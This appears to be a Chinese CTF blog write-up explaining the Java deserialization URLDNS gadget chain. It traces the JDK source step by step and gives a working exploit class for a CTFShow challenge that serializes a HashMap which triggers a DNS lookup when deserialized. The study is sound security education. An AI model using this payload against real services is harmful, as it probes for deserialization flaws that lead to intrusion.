URLDNS


java反序列化之URLDNS

1.URLDNS源码分析

原理:

1
java.util.HashMap 重写了 readObject, 在反序列化时会调用 hash 函数计算 key  hashCode. java.net.URL  hashCode 在计算时会调用 getHostAddress 来解析域名, 从而发出 DNS 请求.

所以先追踪java.util.HashMap的定义,直接到Hashmap.class,搜索readObject发现了一个重要的方法putVal

image-20250712101122256
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
private void readObject(java.io.ObjectInputStream s)
        throws IOException, ClassNotFoundException {
    // 读取 threshold(忽略)、loadfactor 和其他隐藏属性
    s.defaultReadObject();
    reinitialize(); // 重新初始化 HashMap 的内部结构
    if (loadFactor <= 0 || Float.isNaN(loadFactor))
        throw new InvalidObjectException("Illegal load factor: " +
                                         loadFactor); // 检查负载因子是否合法

    s.readInt();                // 读取并忽略桶的数量(buckets)
    int mappings = s.readInt(); // 读取映射的数量(即 HashMap 的大小)
    if (mappings < 0)
        throw new InvalidObjectException("Illegal mappings count: " +
                                         mappings); // 检查映射数量是否合法
    else if (mappings > 0) { // 如果有映射(mappings>0),则进行初始化
        // 只在负载因子在 0.25~4.0 范围内时,才用给定的负载因子计算容量
        float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
        float fc = (float)mappings / lf + 1.0f;
        int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                   DEFAULT_INITIAL_CAPACITY :
                   (fc >= MAXIMUM_CAPACITY) ?
                   MAXIMUM_CAPACITY :
                   tableSizeFor((int)fc)); // 计算 table 的容量
        float ft = (float)cap * lf;
        threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                     (int)ft : Integer.MAX_VALUE); // 计算阈值

        // 检查反序列化的数组类型是否安全
        SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
        @SuppressWarnings({"rawtypes","unchecked"})
        Node<K,V>[] tab = (Node<K,V>[])new Node[cap]; // 创建新的 table
        table = tab;

        // 读取每一个 key 和 value,并放入 HashMap
        for (int i = 0; i < mappings; i++) {
            @SuppressWarnings("unchecked")
                K key = (K) s.readObject();    // 读取 key
            @SuppressWarnings("unchecked")
                V value = (V) s.readObject();  // 读取 value
            putVal(hash(key), key, value, false, false); // 放入 HashMap
        }
    }
}

putVal会依次读取每个 key 和 value,并调用 putVal 方法插入到 HashMap。追踪一些hash函数

1
2
3
4
    static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

这里又调用了key.hashcode方法,而key此时是我们传入的 java.net.URL 对象,那么跟进到这个类的hashCode()方法看下(hashCode 方法是 java.net.URL 类中的方法。)

1
2
3
4
5
6
7
    public synchronized int hashCode() {
        if (hashCode != -1)
            return hashCode;

        hashCode = handler.hashCode(this);
        return hashCode;
    }

当hashCode字段等于-1时会进行handler.hashCode(this)计算,所以需要跟进handler,有一个抽象类URLStreamHandler,继续跟进找到里面的hashCode方法

image-20250712103432983

image-20250712103537576
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
protected int hashCode(URL u) {
    int h = 0; // 初始化哈希值

    // 处理协议部分(如 http、https、ftp 等)
    String protocol = u.getProtocol();
    if (protocol != null)
        h += protocol.hashCode();

    // 处理主机部分
    InetAddress addr = getHostAddress(u); // 获取主机的 InetAddress 对象
    if (addr != null) {
        h += addr.hashCode(); // 如果能解析出 IP 地址,则用 IP 的 hashCode
    } else {
        String host = u.getHost();
        if (host != null)
            h += host.toLowerCase().hashCode(); // 否则用主机名的小写形式的 hashCode
    }

    // 处理文件部分(即路径和查询参数)
    String file = u.getFile();
    if (file != null)
        h += file.hashCode();

    // 处理端口部分
    if (u.getPort() == -1)
        h += getDefaultPort(); // 如果没有指定端口,用协议的默认端口
    else
        h += u.getPort(); // 否则用指定的端口

    // 处理引用部分(即 # 后面的片段)
    String ref = u.getRef();
    if (ref != null)
        h += ref.hashCode();

    return h; // 返回最终的哈希值
}

这里有很多函数,看看其定义与作用:

  • getProtocol()方法:其用来从url中获取协议的方法
image-20250712190332151
  • getHostAddress()方法:根据主机名获取其ip地址,其实就是一次DNS查询

  •  1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    
    protected synchronized InetAddress getHostAddress(URL u) {
        if (u.hostAddress != null)
            return u.hostAddress; // 如果已经缓存了主机地址,直接返回
    
        String host = u.getHost();
        if (host == null || host.equals("")) {
            return null; // 如果主机名为空,返回 null
        } else {
            try {
                u.hostAddress = InetAddress.getByName(host); // 通过主机名解析出 InetAddress,并缓存到 URL 对象
            } catch (UnknownHostException ex) {
                return null; // 如果主机名无法解析,返回 null
            } catch (SecurityException se) {
                return null; // 如果安全管理器阻止解析,返回 null
            }
        }
        return u.hostAddress; // 返回解析得到的主机地址
    }
    

文字总结一下路线就是

1
2
3
通过调用URL的hashCode方法进而调用URLStreamHandler的hashCode方法从而实现DNS查询所以只需要我们令hashCOde的值为-1就可以让后半段链子实现然后我们来看前半段

为了调用到URL中的hashCode方法我们需要借助到hashMap类的readObject方法因为在这个方法里面对key的hashCode进行了计算如果key重写了hashCode方法那么计算逻辑就是使用key的hashCode()方法所以我们可以将URL对象作为key传入hashMap中但是要想最终调用hashCode()方法就必须让URL的hashCode的值为-1因此我们可以利用反射在运行状态中操作URL的hashCode从而实现DNS查询的目的

所以总路线图就是

1
2
3
4
5
6
HashMap->readObject()
HashMap->hash()
URL->hashCode()
URLStreamHandler->hashCode()
URLStreamHandler->getHostAddress()
InetAddress->getByName()

所以web846题exp是

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
public class URLDNS {
    public static void serialize(Object obj) throws IOException{
        // 创建字节输出流,用于存储序列化后的数据
        ByteArrayOutputStream data =new ByteArrayOutputStream();
        // 创建对象输出流,负责把对象写入字节流
        ObjectOutput oos =new ObjectOutputStream(data);
        oos.writeObject(obj); // 序列化对象
        oos.flush();
        oos.close();
        // 用Base64编码输出序列化后的字节数据
        System.out.println(Base64.getEncoder().encodeToString(data.toByteArray()));
    };

    public static void main(String[] args) throws Exception{
        // 1. 创建URL对象
        URL url=new URL("http://68421999-595d-43ef-bbd8-f10c88147a01.challenge.ctf.show/");
        // 2. 通过反射获取URL类的hashCode字段
        Class c=url.getClass();
        Field hashcode=c.getDeclaredField("hashCode");
        hashcode.setAccessible(true);
        // hashcode.setAccessible(true);让 Java 反射机制可以访问 hashCode 这个字段,即使它是 private(私有的)或 protected(受保护的)。(Java 的安全机制默认不允许你直接访问私有字段)
        
        
        
        // 3. 把hashCode字段设置为1(避免put时触发DNS请求)
        hashcode.set(url,1);
        //4. 创建了一个可以用 URL 做 key、用整数做 value 的 HashMap(哈希表/字典),变量名叫 h。
        HashMap<URL,Integer> h = new HashMap<URL,Integer>();
        //是把 url 作为 key,1 作为 value,存入到 HashMap 里
        h.put(url,1);
        // 5. 再次把hashCode字段设置为-1(为后续反序列化时触发DNS请求做准备)
        hashcode.set(url,-1);
        // 6. 序列化HashMap并输出
        
        serialize(h);
    }
}

image-20250712203123742

Java反序列化 — URLDNS利用链分析-先知社区

Java反序列化URLDNS利用链

CTFShow-Java反序列化篇(1) - N1Rvana’s Blog

谢谢观看